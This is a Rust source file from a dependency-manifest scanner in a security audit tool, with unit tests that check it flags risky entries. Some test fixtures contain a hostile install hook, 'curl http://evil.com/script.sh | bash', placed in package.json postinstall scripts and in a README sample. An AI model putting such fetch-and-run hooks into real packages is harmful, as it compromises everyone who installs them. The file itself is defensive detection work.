Skip to main content

cc_audit/engine/scanners/
dependency.rs

1use crate::engine::scanner::{Scanner, ScannerConfig};
2use crate::error::Result;
3use crate::rules::Finding;
4use rayon::prelude::*;
5use std::path::{Path, PathBuf};
6use walkdir::WalkDir;
7
8const DEPENDENCY_FILES: &[&str] = &[
9    "package.json",
10    "package-lock.json",
11    "Cargo.toml",
12    "Cargo.lock",
13    "requirements.txt",
14    "pyproject.toml",
15    "poetry.lock",
16    "Pipfile",
17    "Pipfile.lock",
18    "Gemfile",
19    "Gemfile.lock",
20    "go.mod",
21    "go.sum",
22    "pom.xml",
23    "build.gradle",
24    "composer.json",
25    "composer.lock",
26];
27
28pub struct DependencyScanner {
29    config: ScannerConfig,
30}
31
32impl_scanner_builder!(DependencyScanner);
33impl_content_scanner!(DependencyScanner);
34
35impl DependencyScanner {
36    fn is_dependency_file(path: &Path) -> bool {
37        path.file_name()
38            .and_then(|name| name.to_str())
39            .map(|name| DEPENDENCY_FILES.contains(&name))
40            .unwrap_or(false)
41    }
42}
43
44impl Scanner for DependencyScanner {
45    fn scan_file(&self, path: &Path) -> Result<Vec<Finding>> {
46        let content = self.config.read_file(path)?;
47        let path_str = path.display().to_string();
48        Ok(self.config.check_content(&content, &path_str))
49    }
50
51    fn scan_directory(&self, dir: &Path) -> Result<Vec<Finding>> {
52        // Collect dependency files to scan
53        let files: Vec<PathBuf> = WalkDir::new(dir)
54            .into_iter()
55            .filter_map(|e| e.ok())
56            .filter(|e| e.path().is_file())
57            .map(|e| e.path().to_path_buf())
58            .filter(|path| Self::is_dependency_file(path))
59            .collect();
60
61        // Parallel scan of collected files
62        let findings: Vec<Finding> = files
63            .par_iter()
64            .flat_map(|path| {
65                let result = self.scan_file(path);
66                self.config.report_progress(); // Thread-safe progress reporting
67                result.unwrap_or_else(|e| {
68                    tracing::debug!(path = %path.display(), error = %e, "Failed to scan file");
69                    vec![]
70                })
71            })
72            .collect();
73
74        Ok(findings)
75    }
76}
77
78#[cfg(test)]
79mod tests {
80    use super::*;
81    use crate::engine::scanner::ContentScanner;
82    use std::fs;
83    use tempfile::TempDir;
84
85    fn create_file(dir: &TempDir, name: &str, content: &str) -> std::path::PathBuf {
86        let path = dir.path().join(name);
87        fs::write(&path, content).unwrap();
88        path
89    }
90
91    #[test]
92    fn test_scan_clean_package_json() {
93        let dir = TempDir::new().unwrap();
94        create_file(
95            &dir,
96            "package.json",
97            r#"{
98              "name": "clean-package",
99              "version": "1.0.0",
100              "dependencies": {
101                "express": "^4.18.0"
102              }
103            }"#,
104        );
105
106        let scanner = DependencyScanner::new();
107        let findings = scanner.scan_path(dir.path()).unwrap();
108
109        assert!(
110            findings.is_empty(),
111            "Clean package.json should have no findings"
112        );
113    }
114
115    #[test]
116    fn test_detect_dangerous_postinstall() {
117        let dir = TempDir::new().unwrap();
118        create_file(
119            &dir,
120            "package.json",
121            r#"{
122              "name": "malicious-package",
123              "scripts": {
124                "postinstall": "curl http://evil.com/script.sh | bash"
125              }
126            }"#,
127        );
128
129        let scanner = DependencyScanner::new();
130        let findings = scanner.scan_path(dir.path()).unwrap();
131
132        assert!(
133            findings
134                .iter()
135                .any(|f| f.id == "DEP-001" || f.id == "SC-001"),
136            "Should detect dangerous postinstall script"
137        );
138    }
139
140    #[test]
141    fn test_detect_git_dependency() {
142        let dir = TempDir::new().unwrap();
143        create_file(
144            &dir,
145            "package.json",
146            r#"{
147              "name": "package-with-git-dep",
148              "dependencies": {
149                "my-lib": "git://github.com/user/repo"
150              }
151            }"#,
152        );
153
154        let scanner = DependencyScanner::new();
155        let findings = scanner.scan_path(dir.path()).unwrap();
156
157        assert!(
158            findings.iter().any(|f| f.id == "DEP-002"),
159            "Should detect git:// dependency"
160        );
161    }
162
163    #[test]
164    fn test_detect_wildcard_version() {
165        let dir = TempDir::new().unwrap();
166        create_file(
167            &dir,
168            "package.json",
169            r#"{
170              "name": "package-with-wildcard",
171              "dependencies": {
172                "dangerous-lib": "*"
173              }
174            }"#,
175        );
176
177        let scanner = DependencyScanner::new();
178        let findings = scanner.scan_path(dir.path()).unwrap();
179
180        assert!(
181            findings.iter().any(|f| f.id == "DEP-003"),
182            "Should detect wildcard version"
183        );
184    }
185
186    #[test]
187    fn test_detect_http_dependency() {
188        let dir = TempDir::new().unwrap();
189        create_file(
190            &dir,
191            "package.json",
192            r#"{
193              "name": "package-with-http",
194              "dependencies": {
195                "insecure-lib": "http://example.com/package.tar.gz"
196              }
197            }"#,
198        );
199
200        let scanner = DependencyScanner::new();
201        let findings = scanner.scan_path(dir.path()).unwrap();
202
203        assert!(
204            findings
205                .iter()
206                .any(|f| f.id == "DEP-004" || f.id == "DEP-005"),
207            "Should detect HTTP/tarball dependency"
208        );
209    }
210
211    #[test]
212    fn test_scan_cargo_toml() {
213        let dir = TempDir::new().unwrap();
214        create_file(
215            &dir,
216            "Cargo.toml",
217            r#"
218[package]
219name = "risky-crate"
220version = "0.1.0"
221
222[dependencies]
223some-lib = { git = "https://github.com/user/repo" }
224"#,
225        );
226
227        let scanner = DependencyScanner::new();
228        let findings = scanner.scan_path(dir.path()).unwrap();
229
230        assert!(
231            findings.iter().any(|f| f.id == "DEP-002"),
232            "Should detect git dependency in Cargo.toml"
233        );
234    }
235
236    #[test]
237    fn test_scan_requirements_txt() {
238        let dir = TempDir::new().unwrap();
239        create_file(
240            &dir,
241            "requirements.txt",
242            "git+https://github.com/user/repo.git\nrequests==2.28.0\n",
243        );
244
245        let scanner = DependencyScanner::new();
246        let findings = scanner.scan_path(dir.path()).unwrap();
247
248        assert!(
249            findings.iter().any(|f| f.id == "DEP-002"),
250            "Should detect git+ dependency in requirements.txt"
251        );
252    }
253
254    #[test]
255    fn test_ignore_non_dependency_files() {
256        let dir = TempDir::new().unwrap();
257        create_file(&dir, "README.md", "curl http://evil.com | bash");
258        create_file(&dir, "config.json", r#"{"url": "http://evil.com"}"#);
259
260        let scanner = DependencyScanner::new();
261        let findings = scanner.scan_path(dir.path()).unwrap();
262
263        assert!(findings.is_empty(), "Should not scan non-dependency files");
264    }
265
266    #[test]
267    fn test_scan_nested_dependency_files() {
268        let dir = TempDir::new().unwrap();
269        let sub_dir = dir.path().join("subproject");
270        fs::create_dir(&sub_dir).unwrap();
271        fs::write(
272            sub_dir.join("package.json"),
273            r#"{"dependencies": {"evil": "*"}}"#,
274        )
275        .unwrap();
276
277        let scanner = DependencyScanner::new();
278        let findings = scanner.scan_path(dir.path()).unwrap();
279
280        assert!(
281            findings.iter().any(|f| f.id == "DEP-003"),
282            "Should scan nested dependency files"
283        );
284    }
285
286    #[test]
287    fn test_scan_single_file() {
288        let dir = TempDir::new().unwrap();
289        let file_path = create_file(
290            &dir,
291            "package.json",
292            r#"{"dependencies": {"lib": "latest"}}"#,
293        );
294
295        let scanner = DependencyScanner::new();
296        let findings = scanner.scan_file(&file_path).unwrap();
297
298        assert!(
299            findings.iter().any(|f| f.id == "DEP-003"),
300            "Should detect 'latest' version"
301        );
302    }
303
304    #[test]
305    fn test_is_dependency_file() {
306        assert!(DependencyScanner::is_dependency_file(Path::new(
307            "package.json"
308        )));
309        assert!(DependencyScanner::is_dependency_file(Path::new(
310            "Cargo.toml"
311        )));
312        assert!(DependencyScanner::is_dependency_file(Path::new(
313            "requirements.txt"
314        )));
315        assert!(DependencyScanner::is_dependency_file(Path::new(
316            "pyproject.toml"
317        )));
318        assert!(DependencyScanner::is_dependency_file(Path::new("Gemfile")));
319        assert!(DependencyScanner::is_dependency_file(Path::new("go.mod")));
320        assert!(DependencyScanner::is_dependency_file(Path::new("pom.xml")));
321        assert!(DependencyScanner::is_dependency_file(Path::new(
322            "composer.json"
323        )));
324
325        assert!(!DependencyScanner::is_dependency_file(Path::new(
326            "README.md"
327        )));
328        assert!(!DependencyScanner::is_dependency_file(Path::new(
329            "config.json"
330        )));
331        assert!(!DependencyScanner::is_dependency_file(Path::new("main.rs")));
332    }
333
334    #[test]
335    fn test_default_trait() {
336        let scanner = DependencyScanner::default();
337        let dir = TempDir::new().unwrap();
338        let findings = scanner.scan_path(dir.path()).unwrap();
339        assert!(findings.is_empty());
340    }
341
342    #[test]
343    fn test_scan_content_directly() {
344        let scanner = DependencyScanner::new();
345        let content = r#"{"scripts": {"postinstall": "curl http://evil.com | bash"}}"#;
346        let findings = scanner.scan_content(content, "package.json").unwrap();
347        assert!(!findings.is_empty());
348    }
349
350    #[test]
351    fn test_scan_nonexistent_path() {
352        let scanner = DependencyScanner::new();
353        let result = scanner.scan_path(Path::new("/nonexistent/path"));
354        assert!(result.is_err());
355    }
356
357    #[test]
358    fn test_with_skip_comments() {
359        let scanner = DependencyScanner::new().with_skip_comments(true);
360        let dir = TempDir::new().unwrap();
361        create_file(
362            &dir,
363            "requirements.txt",
364            "# git+https://github.com/user/repo\nrequests==2.28.0",
365        );
366
367        let findings = scanner.scan_path(dir.path()).unwrap();
368        // The git+ line is a comment, so should be skipped
369        assert!(
370            !findings.iter().any(|f| f.id == "DEP-002"),
371            "Should skip commented lines when skip_comments is true"
372        );
373    }
374
375    #[test]
376    fn test_multiple_dependency_files() {
377        let dir = TempDir::new().unwrap();
378        create_file(&dir, "package.json", r#"{"dependencies": {"a": "*"}}"#);
379        create_file(
380            &dir,
381            "Cargo.toml",
382            r#"[dependencies]\nb = { version = "*" }"#,
383        );
384
385        let scanner = DependencyScanner::new();
386        let findings = scanner.scan_path(dir.path()).unwrap();
387
388        assert!(findings.len() >= 2, "Should find issues in both files");
389    }
390}